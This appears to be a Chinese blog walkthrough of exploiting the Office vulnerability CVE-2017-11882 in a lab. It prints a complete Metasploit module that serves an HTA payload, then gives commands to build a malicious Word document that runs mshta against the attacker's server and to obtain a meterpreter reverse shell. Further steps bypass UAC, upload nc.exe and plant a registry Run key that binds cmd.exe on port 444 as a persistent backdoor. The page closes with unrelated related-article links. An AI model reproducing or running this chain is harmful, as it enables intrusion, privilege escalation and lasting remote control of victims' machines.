利用CVE-2017-11882拿到持久性shell

近日微软又爆出一个严重漏洞,利用该漏洞可以直接拿到目标机shell。这么好玩的东西怎么能错过了,于是搭建环境复现了一把。

首先去GitHub上下载exp https://github.com/starnightcyber/CVE-2017-11882.git

这里直接贴上exp脚本

把下面这段代码复制到usr/share/metasploit-framework/modules/exploits/windows/office/  名字随意格式为.rb

##

# This module requires Metasploit: https://metasploit.com/download

# Current source: https://github.com/rapid7/metasploit-framework

##

class MetasploitModule  < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer

def initialize(info  = {})

super(update_info(info,

'Name' => 'Microsoft Office Payload Delivery',

'Description' => %q{

This module generates an command to place within

a word document, that when executed, will retrieve a HTA payload

via HTTP from an web server. Currently have not figured out how

to generate a doc.

},

'License' => MSF_LICENSE,

'Arch' => ARCH_X86,

'Platform' => 'win',

'Targets' =>

[

['Automatic', {} ],

],

'DefaultTarget' => 0,

))

end

def on_request_uri(cli, _request)

print_status("Delivering payload")

p = regenerate_payload(cli)

data = Msf::Util::EXE.to_executable_fmt(

framework,

ARCH_X86,

'win',

p.encoded,

'hta-psh',

{ :arch => ARCH_X86, :platform => 'win '}

)

send_response(cli, data, 'Content-Type' => 'application/hta')

end

def primer

url = get_uri

print_status("Place the following DDE in an MS document:")

print_line("mshta.exe \"#{url}\"")

end

end

打开msf,输入下列命令

use exploit/windows/office/CVE-2017-11882

set payload windows/meterpreter/reverse_tcp

show options 看一下需要设置哪些参数

这里我们设置一下LHOST和URIPATH就可以了,其他的用默认的即可。

LHOST就是kali 的ip URIPATH 是受害机连接的路径默认是遗传随机数,因为攻击脚本有字数限制所以我们改成123尽量减小长度。

设置好这些后就可以执行了。

输入 exploit -j

然后

在kali任意目录下gitclone https://github.com/starnightcyber/CVE-2017-11882.git

下好python脚本,在此目录下打开一个命令终端

输入下列命令,生成恶意文档

python Command_CVE-2017-11882.py -c "mshta http://ip/123" -o test.doc

Kali 开启Apache 靶机连接kali并下载恶意文档

靶机运行恶意文档

拿到meterpreter shell

getsystem 发现不是系统权限,因为Windows的UAC 保护机制

接下来我们利用kali自带的模块绕过UAC

use exploit/windows/local/bypassuac

set payload windows/meterpreter/reverse_tcp

一样的show options

set sessions

set lhost

set lport

exploit –j

获得一个新的sessions

利用刚获得的session 2 可以看到已经是系统管理员权限了

现在想干什么就干什么

我们就传一个nc修改一下注册表设置开机自启来获得一个永久后门吧。

在meterpreter下输入以下命令

upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32

reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run

reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d 'C:\windows\system32\nc.exe -Ldp 444 -e cmd.exe'

重启靶机在kali里输入

nc ip 444

成功拿到cmd shell

本次实验到此结束

利用CVE-2017-11882拿到持久性shell的更多相关文章

  1. 利用多线程资源竞争技术上传shell

    通过多线程资源竞争的手段同时上传两个头像,就可以在Apache+Rails环境下实现远程代码执行.这并不是天方夜谭,同时我相信许多文件上传系统都会有这个漏洞……这是一个非常有趣的安全实验,一起来看看吧 ...

  2. 简单利用HTTP中的PUT协议拿下SHELL

    第一次用方法拿shell,之前遇到的都是没有写入权限的. 站太辣鸡,纯粹练手,就不打码了. 此次实战会用到的HTTP请求方法: OPTIONS,PUT,MOVE/COPPY * 战前准备 0x01 什 ...

  3. 利用野草weedcmsuseragent盲注漏洞拿shell

    野草网站管理系统(WEEDCMS)是由野草独立基于PHP+MYSQL开发的内容管理系统.面向企业.个人.小门户等中小规模网站使用而开发的.采用国际上比较流行Smarty引擎和敏捷的JQuery JS框 ...

  4. 利用WiFi Pineapple Nano渗透客户端获取SHELL

    前言: 前两篇文章介绍了The WiFi Pineapple Nano设备的一些主要功能模块,例如PineAP.SSLsplit和Ettercap等.今天给大家实际场景演示下如何利用Pineapple ...

  5. (转载)利用burp suite截断上传拿shell

    burpsuite上传必须要有filepath这个参数 第一步:选择一个jpg后缀的马. 第二步:设置本地代理,burp的本地端口是8080 第三步:打开burp suite 按图操作就ok了. 第四 ...

  6. 利用java执行shell脚本

    BPMN中存在由系统执行的脚本任务,shell脚本任务也是该系统任务脚本中的一种,利用的也是由java执行shell脚本. 代码中的ProcessBuilder类,为java.lang.Process ...

  7. Struts2漏洞利用工具下载(更新2017-V1.8版增加S2-045/S2-046)

    Struts2漏洞利用工具下载(已更新V1.8版) 2017-03-21:增加S2-046,官方发布S2-046和S2-045漏洞引发原因一样,只是利用漏洞的位置发生了变化,S2-046方式可能绕过部 ...

  8. SHELL (2) —— Shell变量的核心基础知识和实践

    摘自:Oldboy Linux运维——SHELL编程实战 Shell变量:用一个固定的字符串(也可能是字符.数字等的组合)代替更多.更复杂的内容,该内容里可能还会包含变量.路径.字符串等其它的内容. ...

  9. 【渗透实战】记一次艰难的内网漫游第四期_蹭我WIFI?看我如何利用组合拳日进蹭网者内网

    /文章作者:Kali_MG1937 CSDN博客ID:ALDYS4 QQ:3496925334/ 内网漫游系列第三期:[渗透实战]记一次艰难的内网漫游第三期_我是如何利用APT攻击拿到内网最高权限的 ...

随机推荐

  1. CentOs环境下给PHP7.0安装fileinfo扩展

    由于项目搭建处于一个初步阶段,由于环境的不成熟出现过一系列的问题是难免的,在关于文件操作的程序中,报出一个缺少扩展的错误,已经解决~ 看一下官方给出的说明,http://php.net/manual/ ...

  2. Mysql数据库建立索引的优缺点有哪些?

    索引是对数据库表中一列或多列的值进行排序的一种结构,使用索引可快速访问数据库表中的特定信息. 什么是索引 数据库索引好比是一本书前面的目录,能加快数据库的查询速度. 例如这样一个查询:select * ...

  3. Laravel框架中Form表单Get请求搜索(在此感谢[https://simon8.com])

    首先看一下HTML部分的Form表单 <form role="search" method="get" id="searchform" ...

  4. windows 下 Symfony的下载与安装

    初始化项目 本篇教程我尽量按照Windows/*nix都可以运行的方式来讲解. 得益于Symfony installer,我们目前可以很方便的初始化一个Symfony2项目.不过首先,你得有一个Sym ...

  5. UVALive - 3938 (线段树,区间查询)

    思路:详细分析见训练指南.注意可能答案的起点在左区间,终点在右区间 AC代码 #include <stdio.h> #include <algorithm> using nam ...

  6. Python基于Flask框架配置依赖包信息的项目迁移部署小技巧

    一般在本机上完成基于Flask框架的代码编写后,如果有接口或者数据操作方面需求需要把代码部署到指定服务器上. 一般情况下,使用Flask框架开发者大多数都是选择Python虚拟环境来运行项目,不同的虚 ...

  7. Java线程编程中isAlive()和join()的使用详解

    一个线程如何知道另一线程已经结束?Thread类提供了回答此问题的方法. 有两种方法可以判定一个线程是否结束.第一,可以在线程中调用isAlive().这种方法由Thread定义,它的通常形式如下: ...

  8. android自定义View的绘制原理

    每天我们都会使用很多的应用程序,尽管他们有不同的约定,但大多数应用的设计是非常相似的.这就是为什么许多客户要求使用一些其他应用程序没有的设计,使得应用程序显得独特和不同. 如果功能布局要求非常定制化, ...

  9. Caused by: org.springframework.beans.factory.BeanCreationException: Could not autowire field

    1 错误描述 org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'com.s ...

  10. Scheme change not implemented

    1.错误描述 2.错误原因 由于在改变Java代码中的方法或运行代码出现,导致Tomcat编译的代码不能替换工作空间的代码,即不能及时同步,出现错误 3.解决办法 (1)关闭Tomcat,clean一 ...